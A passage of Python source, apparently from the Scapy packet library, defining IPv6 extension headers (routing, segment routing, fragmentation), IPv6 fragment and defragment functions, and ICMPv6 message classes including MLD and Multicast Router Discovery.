950 d = curpos % 8 

951 if d == 0: 

952 return s 

953 d = 8 - d 

954 if d == 1: 

955 s += raw(Pad1()) 

956 elif d != 0: 

957 s += raw(PadN(optdata=b'\x00' * (d - 2))) 

958 

959 return s 

960 

961 def addfield(self, pkt, s, val): 

962 return s + self.i2m(pkt, val) 

963 

964 

965class _PhantomAutoPadField(ByteField): 

966 def addfield(self, pkt, s, val): 

967 return s 

968 

969 def getfield(self, pkt, s): 

970 return s, 1 

971 

972 def i2repr(self, pkt, x): 

973 if x: 

974 return "On" 

975 return "Off" 

976 

977 

978class IPv6ExtHdrHopByHop(_IPv6ExtHdr): 

979 name = "IPv6 Extension Header - Hop-by-Hop Options Header" 

980 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

981 FieldLenField("len", None, length_of="options", fmt="B", 

982 adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1), 

983 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 

984 _OptionsField("options", [], HBHOptUnknown, 2, 

985 length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501 

986 overload_fields = {IPv6: {"nh": 0}} 

987 

988 

989# Destination Option Header # 

990 

991class IPv6ExtHdrDestOpt(_IPv6ExtHdr): 

992 name = "IPv6 Extension Header - Destination Options Header" 

993 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

994 FieldLenField("len", None, length_of="options", fmt="B", 

995 adjust=lambda pkt, x: (x + 2 + 7) // 8 - 1), 

996 _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 

997 _OptionsField("options", [], HBHOptUnknown, 2, 

998 length_from=lambda pkt: (8 * (pkt.len + 1)) - 2)] # noqa: E501 

999 overload_fields = {IPv6: {"nh": 60}} 

1000 

1001 

1002# Routing Header # 

1003 

1004class IPv6ExtHdrRouting(_IPv6ExtHdr): 

1005 name = "IPv6 Option Header Routing" 

1006 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

1007 FieldLenField("len", None, count_of="addresses", fmt="B", 

1008 adjust=lambda pkt, x:2 * x), # in 8 bytes blocks # noqa: E501 

1009 ByteField("type", 0), 

1010 ByteField("segleft", None), 

1011 BitField("reserved", 0, 32), # There is meaning in this field ... # noqa: E501 

1012 IP6ListField("addresses", [], 

1013 length_from=lambda pkt: 8 * pkt.len)] 

1014 overload_fields = {IPv6: {"nh": 43}} 

1015 

1016 def post_build(self, pkt, pay): 

1017 if self.segleft is None: 

1018 pkt = pkt[:3] + struct.pack("B", len(self.addresses)) + pkt[4:] 

1019 return _IPv6ExtHdr.post_build(self, pkt, pay) 

1020 

1021 

1022# Segment Routing Header # 

1023 

1024# This implementation is based on RFC8754, but some older snippets come from: 

1025# https://tools.ietf.org/html/draft-ietf-6man-segment-routing-header-06 

1026 

1027_segment_routing_header_tlvs = { 

1028 # RFC 8754 sect 8.2 

1029 0: "Pad1 TLV", 

1030 1: "Ingress Node TLV", # draft 06 

1031 2: "Egress Node TLV", # draft 06 

1032 4: "PadN TLV", 

1033 5: "HMAC TLV", 

1034} 

1035 

1036 

1037class IPv6ExtHdrSegmentRoutingTLV(Packet): 

1038 name = "IPv6 Option Header Segment Routing - Generic TLV" 

1039 # RFC 8754 sect 2.1 

1040 fields_desc = [ByteEnumField("type", None, _segment_routing_header_tlvs), 

1041 ByteField("len", 0), 

1042 StrLenField("value", "", length_from=lambda pkt: pkt.len)] 

1043 

1044 def extract_padding(self, p): 

1045 return b"", p 

1046 

1047 registered_sr_tlv = {} 

1048 

1049 @classmethod 

1050 def register_variant(cls): 

1051 cls.registered_sr_tlv[cls.type.default] = cls 

1052 

1053 @classmethod 

1054 def dispatch_hook(cls, pkt=None, *args, **kargs): 

1055 if pkt: 

1056 tmp_type = ord(pkt[:1]) 

1057 return cls.registered_sr_tlv.get(tmp_type, cls) 

1058 return cls 

1059 

1060 

1061class IPv6ExtHdrSegmentRoutingTLVIngressNode(IPv6ExtHdrSegmentRoutingTLV): 

1062 name = "IPv6 Option Header Segment Routing - Ingress Node TLV" 

1063 # draft-ietf-6man-segment-routing-header-06 3.1.1 

1064 fields_desc = [ByteEnumField("type", 1, _segment_routing_header_tlvs), 

1065 ByteField("len", 18), 

1066 ByteField("reserved", 0), 

1067 ByteField("flags", 0), 

1068 IP6Field("ingress_node", "::1")] 

1069 

1070 

1071class IPv6ExtHdrSegmentRoutingTLVEgressNode(IPv6ExtHdrSegmentRoutingTLV): 

1072 name = "IPv6 Option Header Segment Routing - Egress Node TLV" 

1073 # draft-ietf-6man-segment-routing-header-06 3.1.2 

1074 fields_desc = [ByteEnumField("type", 2, _segment_routing_header_tlvs), 

1075 ByteField("len", 18), 

1076 ByteField("reserved", 0), 

1077 ByteField("flags", 0), 

1078 IP6Field("egress_node", "::1")] 

1079 

1080 

1081class IPv6ExtHdrSegmentRoutingTLVPad1(IPv6ExtHdrSegmentRoutingTLV): 

1082 name = "IPv6 Option Header Segment Routing - Pad1 TLV" 

1083 # RFC8754 sect 2.1.1.1, Pad1 is a single byte 

1084 fields_desc = [ByteEnumField("type", 0, _segment_routing_header_tlvs)] 

1085 

1086 

1087class IPv6ExtHdrSegmentRoutingTLVPadN(IPv6ExtHdrSegmentRoutingTLV): 

1088 name = "IPv6 Option Header Segment Routing - PadN TLV" 

1089 # RFC8754 sect 2.1.1.2 

1090 fields_desc = [ByteEnumField("type", 4, _segment_routing_header_tlvs), 

1091 FieldLenField("len", None, length_of="padding", fmt="B"), 

1092 StrLenField("padding", b"\x00", length_from=lambda pkt: pkt.len)] # noqa: E501 

1093 

1094 

1095class IPv6ExtHdrSegmentRoutingTLVHMAC(IPv6ExtHdrSegmentRoutingTLV): 

1096 name = "IPv6 Option Header Segment Routing - HMAC TLV" 

1097 # RFC8754 sect 2.1.2 

1098 fields_desc = [ByteEnumField("type", 5, _segment_routing_header_tlvs), 

1099 FieldLenField("len", None, length_of="hmac", 

1100 adjust=lambda _, x: x + 48), 

1101 BitField("D", 0, 1), 

1102 BitField("reserved", 0, 15), 

1103 IntField("hmackeyid", 0), 

1104 StrLenField("hmac", "", 

1105 length_from=lambda pkt: pkt.len - 48)] 

1106 

1107 

1108class IPv6ExtHdrSegmentRouting(_IPv6ExtHdr): 

1109 name = "IPv6 Option Header Segment Routing" 

1110 # RFC8754 sect 2. + flag bits from draft 06 

1111 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

1112 ByteField("len", None), 

1113 ByteField("type", 4), 

1114 ByteField("segleft", None), 

1115 ByteField("lastentry", None), 

1116 BitField("unused1", 0, 1), 

1117 BitField("protected", 0, 1), 

1118 BitField("oam", 0, 1), 

1119 BitField("alert", 0, 1), 

1120 BitField("hmac", 0, 1), 

1121 BitField("unused2", 0, 3), 

1122 ShortField("tag", 0), 

1123 IP6ListField("addresses", ["::1"], 

1124 count_from=lambda pkt: (pkt.lastentry + 1)), 

1125 PacketListField("tlv_objects", [], 

1126 IPv6ExtHdrSegmentRoutingTLV, 

1127 length_from=lambda pkt: 8 * pkt.len - 16 * ( 

1128 pkt.lastentry + 1 

1129 ))] 

1130 

1131 overload_fields = {IPv6: {"nh": 43}} 

1132 

1133 def post_build(self, pkt, pay): 

1134 

1135 if self.len is None: 

1136 

1137 # The extension must be align on 8 bytes 

1138 tmp_mod = (-len(pkt) + 8) % 8 

1139 if tmp_mod == 1: 

1140 tlv = IPv6ExtHdrSegmentRoutingTLVPad1() 

1141 pkt += raw(tlv) 

1142 elif tmp_mod >= 2: 

1143 # Add the padding extension 

1144 tmp_pad = b"\x00" * (tmp_mod - 2) 

1145 tlv = IPv6ExtHdrSegmentRoutingTLVPadN(padding=tmp_pad) 

1146 pkt += raw(tlv) 

1147 

1148 tmp_len = (len(pkt) - 8) // 8 

1149 pkt = pkt[:1] + struct.pack("B", tmp_len) + pkt[2:] 

1150 

1151 if self.segleft is None: 

1152 tmp_len = len(self.addresses) 

1153 if tmp_len: 

1154 tmp_len -= 1 

1155 pkt = pkt[:3] + struct.pack("B", tmp_len) + pkt[4:] 

1156 

1157 if self.lastentry is None: 

1158 lastentry = len(self.addresses) 

1159 if lastentry == 0: 

1160 warning( 

1161 "IPv6ExtHdrSegmentRouting(): the addresses list is empty!" 

1162 ) 

1163 else: 

1164 lastentry -= 1 

1165 pkt = pkt[:4] + struct.pack("B", lastentry) + pkt[5:] 

1166 

1167 return _IPv6ExtHdr.post_build(self, pkt, pay) 

1168 

1169 

1170# Fragmentation Header # 

1171 

1172class IPv6ExtHdrFragment(_IPv6ExtHdr): 

1173 name = "IPv6 Extension Header - Fragmentation header" 

1174 fields_desc = [ByteEnumField("nh", 59, ipv6nh), 

1175 BitField("res1", 0, 8), 

1176 BitField("offset", 0, 13), 

1177 BitField("res2", 0, 2), 

1178 BitField("m", 0, 1), 

1179 IntField("id", None)] 

1180 overload_fields = {IPv6: {"nh": 44}} 

1181 

1182 def guess_payload_class(self, p): 

1183 if self.offset > 0: 

1184 return Raw 

1185 else: 

1186 return super(IPv6ExtHdrFragment, self).guess_payload_class(p) 

1187 

1188 

1189def defragment6(packets): 

1190 """ 

1191 Performs defragmentation of a list of IPv6 packets. Packets are reordered. 

1192 Crap is dropped. What lacks is completed by 'X' characters. 

1193 """ 

1194 

1195 # Remove non fragments 

1196 lst = [x for x in packets if IPv6ExtHdrFragment in x] 

1197 if not lst: 

1198 return [] 

1199 

1200 id = lst[0][IPv6ExtHdrFragment].id 

1201 

1202 llen = len(lst) 

1203 lst = [x for x in lst if x[IPv6ExtHdrFragment].id == id] 

1204 if len(lst) != llen: 

1205 warning("defragment6: some fragmented packets have been removed from list") # noqa: E501 

1206 

1207 # reorder fragments 

1208 res = sorted(lst, key=lambda p: p[IPv6ExtHdrFragment].offset) 

1209 

1210 # regenerate the fragmentable part 

1211 fragmentable = bytearray() 

1212 frag_hdr_len = 8 

1213 for p in res: 

1214 q = p[IPv6ExtHdrFragment] 

1215 offset = 8 * q.offset 

1216 if offset != len(fragmentable): 

1217 warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) # noqa: E501 

1218 frag_data_len = p[IPv6].plen 

1219 if frag_data_len is not None: 

1220 frag_data_len -= frag_hdr_len 

1221 fragmentable.extend(b"X" * (offset - len(fragmentable))) 

1222 fragmentable.extend(raw(q.payload)[:frag_data_len]) 

1223 

1224 # Regenerate the unfragmentable part. 

1225 q = res[0].copy() 

1226 nh = q[IPv6ExtHdrFragment].nh 

1227 q[IPv6ExtHdrFragment].underlayer.nh = nh 

1228 q[IPv6ExtHdrFragment].underlayer.plen = len(fragmentable) 

1229 del q[IPv6ExtHdrFragment].underlayer.payload 

1230 q /= conf.raw_layer(load=bytes(fragmentable)) 

1231 del q.plen 

1232 

1233 if q[IPv6].underlayer: 

1234 q[IPv6] = IPv6(raw(q[IPv6])) 

1235 else: 

1236 q = IPv6(raw(q)) 

1237 return q 

1238 

1239 

1240def fragment6(pkt, fragSize): 

1241 """ 

1242 Performs fragmentation of an IPv6 packet. 'fragSize' argument is the 

1243 expected maximum size of fragment data (MTU). The list of packets is 

1244 returned. 

1245 

1246 If packet does not contain an IPv6ExtHdrFragment class, it is added to 

1247 first IPv6 layer found. If no IPv6 layer exists packet is returned in 

1248 result list unmodified. 

1249 """ 

1250 

1251 pkt = pkt.copy() 

1252 

1253 if IPv6ExtHdrFragment not in pkt: 

1254 if IPv6 not in pkt: 

1255 return [pkt] 

1256 

1257 layer3 = pkt[IPv6] 

1258 data = layer3.payload 

1259 frag = IPv6ExtHdrFragment(nh=layer3.nh) 

1260 

1261 layer3.remove_payload() 

1262 del layer3.nh 

1263 del layer3.plen 

1264 

1265 frag.add_payload(data) 

1266 layer3.add_payload(frag) 

1267 

1268 # If the payload is bigger than 65535, a Jumbo payload must be used, as 

1269 # an IPv6 packet can't be bigger than 65535 bytes. 

1270 if len(raw(pkt[IPv6ExtHdrFragment])) > 65535: 

1271 warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") # noqa: E501 

1272 return [] 

1273 

1274 s = raw(pkt) # for instantiation to get upper layer checksum right 

1275 

1276 if len(s) <= fragSize: 

1277 return [pkt] 

1278 

1279 # Fragmentable part : fake IPv6 for Fragmentable part length computation 

1280 fragPart = pkt[IPv6ExtHdrFragment].payload 

1281 tmp = raw(IPv6(src="::1", dst="::1") / fragPart) 

1282 fragPartLen = len(tmp) - 40 # basic IPv6 header length 

1283 fragPartStr = s[-fragPartLen:] 

1284 

1285 # Grab Next Header for use in Fragment Header 

1286 nh = pkt[IPv6ExtHdrFragment].nh 

1287 

1288 # Keep fragment header 

1289 fragHeader = pkt[IPv6ExtHdrFragment] 

1290 del fragHeader.payload # detach payload 

1291 

1292 # Unfragmentable Part 

1293 unfragPartLen = len(s) - fragPartLen - 8 

1294 unfragPart = pkt 

1295 del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload 

1296 

1297 # Cut the fragmentable part to fit fragSize. Inner fragments have 

1298 # a length that is an integer multiple of 8 octets. last Frag MTU 

1299 # can be anything below MTU 

1300 lastFragSize = fragSize - unfragPartLen - 8 

1301 innerFragSize = lastFragSize - (lastFragSize % 8) 

1302 

1303 if lastFragSize <= 0 or innerFragSize == 0: 

1304 warning("Provided fragment size value is too low. " + 

1305 "Should be more than %d" % (unfragPartLen + 8)) 

1306 return [unfragPart / fragHeader / fragPart] 

1307 

1308 remain = fragPartStr 

1309 res = [] 

1310 fragOffset = 0 # offset, incremented during creation 

1311 fragId = random.randint(0, 0xffffffff) # random id ... 

1312 if fragHeader.id is not None: # ... except id provided by user 

1313 fragId = fragHeader.id 

1314 fragHeader.m = 1 

1315 fragHeader.id = fragId 

1316 fragHeader.nh = nh 

1317 

1318 # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ... 

1319 while True: 

1320 if (len(remain) > lastFragSize): 

1321 tmp = remain[:innerFragSize] 

1322 remain = remain[innerFragSize:] 

1323 fragHeader.offset = fragOffset # update offset 

1324 fragOffset += (innerFragSize // 8) # compute new one 

1325 if IPv6 in unfragPart: 

1326 unfragPart[IPv6].plen = None 

1327 tempo = unfragPart / fragHeader / conf.raw_layer(load=tmp) 

1328 res.append(tempo) 

1329 else: 

1330 fragHeader.offset = fragOffset # update offSet 

1331 fragHeader.m = 0 

1332 if IPv6 in unfragPart: 

1333 unfragPart[IPv6].plen = None 

1334 tempo = unfragPart / fragHeader / conf.raw_layer(load=remain) 

1335 res.append(tempo) 

1336 break 

1337 return res 

1338 

1339 

1340############################################################################# 

1341############################################################################# 

1342# ICMPv6* Classes # 

1343############################################################################# 

1344############################################################################# 

1345 

1346 

1347icmp6typescls = {1: "ICMPv6DestUnreach", 

1348 2: "ICMPv6PacketTooBig", 

1349 3: "ICMPv6TimeExceeded", 

1350 4: "ICMPv6ParamProblem", 

1351 128: "ICMPv6EchoRequest", 

1352 129: "ICMPv6EchoReply", 

1353 130: "ICMPv6MLQuery", # MLDv1 or MLDv2 

1354 131: "ICMPv6MLReport", 

1355 132: "ICMPv6MLDone", 

1356 133: "ICMPv6ND_RS", 

1357 134: "ICMPv6ND_RA", 

1358 135: "ICMPv6ND_NS", 

1359 136: "ICMPv6ND_NA", 

1360 137: "ICMPv6ND_Redirect", 

1361 # 138: Do Me - RFC 2894 - Seems painful 

1362 139: "ICMPv6NIQuery", 

1363 140: "ICMPv6NIReply", 

1364 141: "ICMPv6ND_INDSol", 

1365 142: "ICMPv6ND_INDAdv", 

1366 143: "ICMPv6MLReport2", 

1367 144: "ICMPv6HAADRequest", 

1368 145: "ICMPv6HAADReply", 

1369 146: "ICMPv6MPSol", 

1370 147: "ICMPv6MPAdv", 

1371 # 148: Do Me - SEND related - RFC 3971 

1372 # 149: Do Me - SEND related - RFC 3971 

1373 151: "ICMPv6MRD_Advertisement", 

1374 152: "ICMPv6MRD_Solicitation", 

1375 153: "ICMPv6MRD_Termination", 

1376 # 154: Do Me - FMIPv6 Messages - RFC 5568 

1377 155: "ICMPv6RPL", # RFC 6550 

1378 } 

1379 

1380icmp6typesminhdrlen = {1: 8, 

1381 2: 8, 

1382 3: 8, 

1383 4: 8, 

1384 128: 8, 

1385 129: 8, 

1386 130: 24, 

1387 131: 24, 

1388 132: 24, 

1389 133: 8, 

1390 134: 16, 

1391 135: 24, 

1392 136: 24, 

1393 137: 40, 

1394 # 139: 

1395 # 140 

1396 141: 8, 

1397 142: 8, 

1398 143: 8, 

1399 144: 8, 

1400 145: 8, 

1401 146: 8, 

1402 147: 8, 

1403 151: 8, 

1404 152: 4, 

1405 153: 4, 

1406 155: 4 

1407 } 

1408 

1409icmp6types = {1: "Destination unreachable", 

1410 2: "Packet too big", 

1411 3: "Time exceeded", 

1412 4: "Parameter problem", 

1413 100: "Private Experimentation", 

1414 101: "Private Experimentation", 

1415 128: "Echo Request", 

1416 129: "Echo Reply", 

1417 130: "MLD Query", 

1418 131: "MLD Report", 

1419 132: "MLD Done", 

1420 133: "Router Solicitation", 

1421 134: "Router Advertisement", 

1422 135: "Neighbor Solicitation", 

1423 136: "Neighbor Advertisement", 

1424 137: "Redirect Message", 

1425 138: "Router Renumbering", 

1426 139: "ICMP Node Information Query", 

1427 140: "ICMP Node Information Response", 

1428 141: "Inverse Neighbor Discovery Solicitation Message", 

1429 142: "Inverse Neighbor Discovery Advertisement Message", 

1430 143: "MLD Report Version 2", 

1431 144: "Home Agent Address Discovery Request Message", 

1432 145: "Home Agent Address Discovery Reply Message", 

1433 146: "Mobile Prefix Solicitation", 

1434 147: "Mobile Prefix Advertisement", 

1435 148: "Certification Path Solicitation", 

1436 149: "Certification Path Advertisement", 

1437 151: "Multicast Router Advertisement", 

1438 152: "Multicast Router Solicitation", 

1439 153: "Multicast Router Termination", 

1440 155: "RPL Control Message", 

1441 200: "Private Experimentation", 

1442 201: "Private Experimentation"} 

1443 

1444 

1445class _ICMPv6(Packet): 

1446 name = "ICMPv6 dummy class" 

1447 overload_fields = {IPv6: {"nh": 58}} 

1448 

1449 def post_build(self, p, pay): 

1450 p += pay 

1451 if self.cksum is None: 

1452 chksum = in6_chksum(58, self.underlayer, p) 

1453 p = p[:2] + struct.pack("!H", chksum) + p[4:] 

1454 return p 

1455 

1456 def hashret(self): 

1457 return self.payload.hashret() 

1458 

1459 def answers(self, other): 

1460 # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ... 

1461 if (isinstance(self.underlayer, IPerror6) or 

1462 isinstance(self.underlayer, _IPv6ExtHdr) and 

1463 isinstance(other, _ICMPv6)): 

1464 if not ((self.type == other.type) and 

1465 (self.code == other.code)): 

1466 return 0 

1467 return 1 

1468 return 0 

1469 

1470 

1471class _ICMPv6Error(_ICMPv6): 

1472 name = "ICMPv6 errors dummy class" 

1473 

1474 def guess_payload_class(self, p): 

1475 return IPerror6 

1476 

1477 

1478class ICMPv6Unknown(_ICMPv6): 

1479 name = "Scapy6 ICMPv6 fallback class" 

1480 fields_desc = [ByteEnumField("type", 1, icmp6types), 

1481 ByteField("code", 0), 

1482 XShortField("cksum", None), 

1483 StrField("msgbody", "")] 

1484 

1485 

1486# RFC 2460 # 

1487 

1488class ICMPv6DestUnreach(_ICMPv6Error): 

1489 name = "ICMPv6 Destination Unreachable" 

1490 fields_desc = [ByteEnumField("type", 1, icmp6types), 

1491 ByteEnumField("code", 0, {0: "No route to destination", 

1492 1: "Communication with destination administratively prohibited", # noqa: E501 

1493 2: "Beyond scope of source address", # noqa: E501 

1494 3: "Address unreachable", 

1495 4: "Port unreachable"}), 

1496 XShortField("cksum", None), 

1497 ByteField("length", 0), 

1498 X3BytesField("unused", 0), 

1499 _ICMPExtensionPadField(), 

1500 _ICMPExtensionField()] 

1501 post_dissection = _ICMP_extpad_post_dissection 

1502 

1503 

1504class ICMPv6PacketTooBig(_ICMPv6Error): 

1505 name = "ICMPv6 Packet Too Big" 

1506 fields_desc = [ByteEnumField("type", 2, icmp6types), 

1507 ByteField("code", 0), 

1508 XShortField("cksum", None), 

1509 IntField("mtu", 1280)] 

1510 

1511 

1512class ICMPv6TimeExceeded(_ICMPv6Error): 

1513 name = "ICMPv6 Time Exceeded" 

1514 fields_desc = [ByteEnumField("type", 3, icmp6types), 

1515 ByteEnumField("code", 0, {0: "hop limit exceeded in transit", # noqa: E501 

1516 1: "fragment reassembly time exceeded"}), # noqa: E501 

1517 XShortField("cksum", None), 

1518 ByteField("length", 0), 

1519 X3BytesField("unused", 0), 

1520 _ICMPExtensionPadField(), 

1521 _ICMPExtensionField()] 

1522 post_dissection = _ICMP_extpad_post_dissection 

1523 

1524 

1525# The default pointer value is set to the next header field of 

1526# the encapsulated IPv6 packet 

1527 

1528 

1529class ICMPv6ParamProblem(_ICMPv6Error): 

1530 name = "ICMPv6 Parameter Problem" 

1531 fields_desc = [ByteEnumField("type", 4, icmp6types), 

1532 ByteEnumField( 

1533 "code", 0, 

1534 {0: "erroneous header field encountered", 

1535 1: "unrecognized Next Header type encountered", 

1536 2: "unrecognized IPv6 option encountered", 

1537 3: "first fragment has incomplete header chain"}), 

1538 XShortField("cksum", None), 

1539 IntField("ptr", 6)] 

1540 

1541 

1542class ICMPv6EchoRequest(_ICMPv6): 

1543 name = "ICMPv6 Echo Request" 

1544 fields_desc = [ByteEnumField("type", 128, icmp6types), 

1545 ByteField("code", 0), 

1546 XShortField("cksum", None), 

1547 XShortField("id", 0), 

1548 XShortField("seq", 0), 

1549 StrField("data", "")] 

1550 

1551 def mysummary(self): 

1552 return self.sprintf("%name% (id: %id% seq: %seq%)") 

1553 

1554 def hashret(self): 

1555 return struct.pack("HH", self.id, self.seq) + self.payload.hashret() 

1556 

1557 

1558class ICMPv6EchoReply(ICMPv6EchoRequest): 

1559 name = "ICMPv6 Echo Reply" 

1560 type = 129 

1561 

1562 def answers(self, other): 

1563 # We could match data content between request and reply. 

1564 return (isinstance(other, ICMPv6EchoRequest) and 

1565 self.id == other.id and self.seq == other.seq and 

1566 self.data == other.data) 

1567 

1568 

1569# ICMPv6 Multicast Listener Discovery (RFC2710) # 

1570 

1571# tous les messages MLD sont emis avec une adresse source lien-locale 

1572# -> Y veiller dans le post_build si aucune n'est specifiee 

1573# La valeur de Hop-Limit doit etre de 1 

1574# "and an IPv6 Router Alert option in a Hop-by-Hop Options 

1575# header. (The router alert option is necessary to cause routers to 

1576# examine MLD messages sent to multicast addresses in which the router 

1577# itself has no interest" 

1578class _ICMPv6ML(_ICMPv6): 

1579 fields_desc = [ByteEnumField("type", 130, icmp6types), 

1580 ByteField("code", 0), 

1581 XShortField("cksum", None), 

1582 ShortField("mrd", 0), 

1583 ShortField("reserved", 0), 

1584 IP6Field("mladdr", "::")] 

1585 

1586# general queries are sent to the link-scope all-nodes multicast 

1587# address ff02::1, with a multicast address field of 0 and a MRD of 

1588# [Query Response Interval] 

1589# Default value for mladdr is set to 0 for a General Query, and 

1590# overloaded by the user for a Multicast Address specific query 

1591# TODO : See what we can do to automatically include a Router Alert 

1592# Option in a Destination Option Header. 

1593 

1594 

1595class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710 

1596 name = "MLD - Multicast Listener Query" 

1597 type = 130 

1598 mrd = 10000 # 10s for mrd 

1599 mladdr = "::" 

1600 overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}} 

1601 

1602 

1603# TODO : See what we can do to automatically include a Router Alert 

1604# Option in a Destination Option Header. 

1605class ICMPv6MLReport(_ICMPv6ML): # RFC 2710 

1606 name = "MLD - Multicast Listener Report" 

1607 type = 131 

1608 overload_fields = {IPv6: {"hlim": 1, "nh": 58}} 

1609 

1610 def answers(self, query): 

1611 """Check the query type""" 

1612 return ICMPv6MLQuery in query 

1613 

1614# When a node ceases to listen to a multicast address on an interface, 

1615# it SHOULD send a single Done message to the link-scope all-routers 

1616# multicast address (FF02::2), carrying in its multicast address field 

1617# the address to which it is ceasing to listen 

1618# TODO : See what we can do to automatically include a Router Alert 

1619# Option in a Destination Option Header. 

1620 

1621 

1622class ICMPv6MLDone(_ICMPv6ML): # RFC 2710 

1623 name = "MLD - Multicast Listener Done" 

1624 type = 132 

1625 overload_fields = {IPv6: {"dst": "ff02::2", "hlim": 1, "nh": 58}} 

1626 

1627 

1628# Multicast Listener Discovery Version 2 (MLDv2) (RFC3810) # 

1629 

1630class ICMPv6MLQuery2(_ICMPv6): # RFC 3810 

1631 name = "MLDv2 - Multicast Listener Query" 

1632 fields_desc = [ByteEnumField("type", 130, icmp6types), 

1633 ByteField("code", 0), 

1634 XShortField("cksum", None), 

1635 ShortField("mrd", 10000), 

1636 ShortField("reserved", 0), 

1637 IP6Field("mladdr", "::"), 

1638 BitField("Resv", 0, 4), 

1639 BitField("S", 0, 1), 

1640 BitField("QRV", 0, 3), 

1641 ByteField("QQIC", 0), 

1642 ShortField("sources_number", None), 

1643 IP6ListField("sources", [], 

1644 count_from=lambda pkt: pkt.sources_number)] 

1645 

1646 # RFC8810 - 4. Message Formats 

1647 overload_fields = {IPv6: {"dst": "ff02::1", "hlim": 1, "nh": 58}} 

1648 

1649 def post_build(self, packet, payload): 

1650 """Compute the 'sources_number' field when needed""" 

1651 if self.sources_number is None: 

1652 srcnum = struct.pack("!H", len(self.sources)) 

1653 packet = packet[:26] + srcnum + packet[28:] 

1654 return _ICMPv6.post_build(self, packet, payload) 

1655 

1656 

1657class ICMPv6MLDMultAddrRec(Packet): 

1658 name = "ICMPv6 MLDv2 - Multicast Address Record" 

1659 fields_desc = [ByteField("rtype", 4), 

1660 FieldLenField("auxdata_len", None, 

1661 length_of="auxdata", 

1662 fmt="B"), 

1663 FieldLenField("sources_number", None, 

1664 length_of="sources", 

1665 adjust=lambda p, num: num // 16), 

1666 IP6Field("dst", "::"), 

1667 IP6ListField("sources", [], 

1668 length_from=lambda p: 16 * p.sources_number), 

1669 StrLenField("auxdata", "", 

1670 length_from=lambda p: p.auxdata_len)] 

1671 

1672 def default_payload_class(self, packet): 

1673 """Multicast Address Record followed by another one""" 

1674 return self.__class__ 

1675 

1676 

1677class ICMPv6MLReport2(_ICMPv6): # RFC 3810 

1678 name = "MLDv2 - Multicast Listener Report" 

1679 fields_desc = [ByteEnumField("type", 143, icmp6types), 

1680 ByteField("res", 0), 

1681 XShortField("cksum", None), 

1682 ShortField("reserved", 0), 

1683 ShortField("records_number", None), 

1684 PacketListField("records", [], 

1685 ICMPv6MLDMultAddrRec, 

1686 count_from=lambda p: p.records_number)] 

1687 

1688 # RFC8810 - 4. Message Formats 

1689 overload_fields = {IPv6: {"dst": "ff02::16", "hlim": 1, "nh": 58}} 

1690 

1691 def post_build(self, packet, payload): 

1692 """Compute the 'records_number' field when needed""" 

1693 if self.records_number is None: 

1694 recnum = struct.pack("!H", len(self.records)) 

1695 packet = packet[:6] + recnum + packet[8:] 

1696 return _ICMPv6.post_build(self, packet, payload) 

1697 

1698 def answers(self, query): 

1699 """Check the query type""" 

1700 return isinstance(query, ICMPv6MLQuery2) 

1701 

1702 

1703# ICMPv6 MRD - Multicast Router Discovery (RFC 4286) # 

1704 

1705# TODO: 

1706# - 04/09/06 troglocan : find a way to automatically add a router alert 

1707# option for all MRD packets. This could be done in a specific 

1708# way when IPv6 is the under layer with some specific keyword 

1709# like 'exthdr'. This would allow to keep compatibility with 

1710# providing IPv6 fields to be overloaded in fields_desc. 

1711# 

1712# At the moment, if user inserts an IPv6 Router alert option 

1713# none of the IPv6 default values of IPv6 layer will be set. 

1714 

1715class ICMPv6MRD_Advertisement(_ICMPv6): 

1716 name = "ICMPv6 Multicast Router Discovery Advertisement" 

1717 fields_desc = [ByteEnumField("type", 151, icmp6types), 

1718 ByteField("advinter", 20), 

1719 XShortField("cksum", None), 

1720 ShortField("queryint", 0), 

1721 ShortField("robustness", 0)] 

1722 overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}} 

1723 # IPv6 Router Alert requires manual inclusion 

1724 

1725 def extract_padding(self, s): 

1726 return s[:8], s[8:] 

1727 

1728 

1729class ICMPv6MRD_Solicitation(_ICMPv6): 

1730 name = "ICMPv6 Multicast Router Discovery Solicitation" 

1731 fields_desc = [ByteEnumField("type", 152, icmp6types), 

1732 ByteField("res", 0), 

1733 XShortField("cksum", None)] 

1734 overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::2"}} 

1735 # IPv6 Router Alert requires manual inclusion 

1736 

1737 def extract_padding(self, s): 

1738 return s[:4], s[4:] 

1739 

1740 

1741class ICMPv6MRD_Termination(_ICMPv6): 

1742 name = "ICMPv6 Multicast Router Discovery Termination" 

1743 fields_desc = [ByteEnumField("type", 153, icmp6types), 

1744 ByteField("res", 0), 

1745 XShortField("cksum", None)] 

1746 overload_fields = {IPv6: {"nh": 58, "hlim": 1, "dst": "ff02::6A"}} 

1747 # IPv6 Router Alert requires manual inclusion 

1748 

1749 def extract_padding(self, s): 

1750 return s[:4], s[4:] 

1751 

1752 

1753# ICMPv6 Neighbor Discovery (RFC 2461) # 

1754 

1755icmp6ndopts = {1: "Source Link-Layer Address", 

1756 2: "Target Link-Layer Address", 

1757 3: "Prefix Information", 

1758 4: "Redirected Header", 

1759 5: "MTU", 

1760 6: "NBMA Shortcut Limit Option", # RFC2491 

1761 7: "Advertisement Interval Option", 

1762 8: "Home Agent Information Option", 

1763 9: "Source Address List", 

1764 10: "Target Address List", 

1765 11: "CGA Option", # RFC 3971 

1766 12: "RSA Signature Option", # RFC 3971 

1767 13: "Timestamp Option", # RFC 3971 

1768 14: "Nonce option", # RFC 3971 

1769 15: "Trust Anchor Option", # RFC 3971 

1770 16: "Certificate Option", # RFC 3971 

1771 17: "IP Address Option", # RFC 4068 

1772 18: "New Router Prefix Information Option", # RFC 4068 

1773 19: "Link-layer Address Option", # RFC 4068 

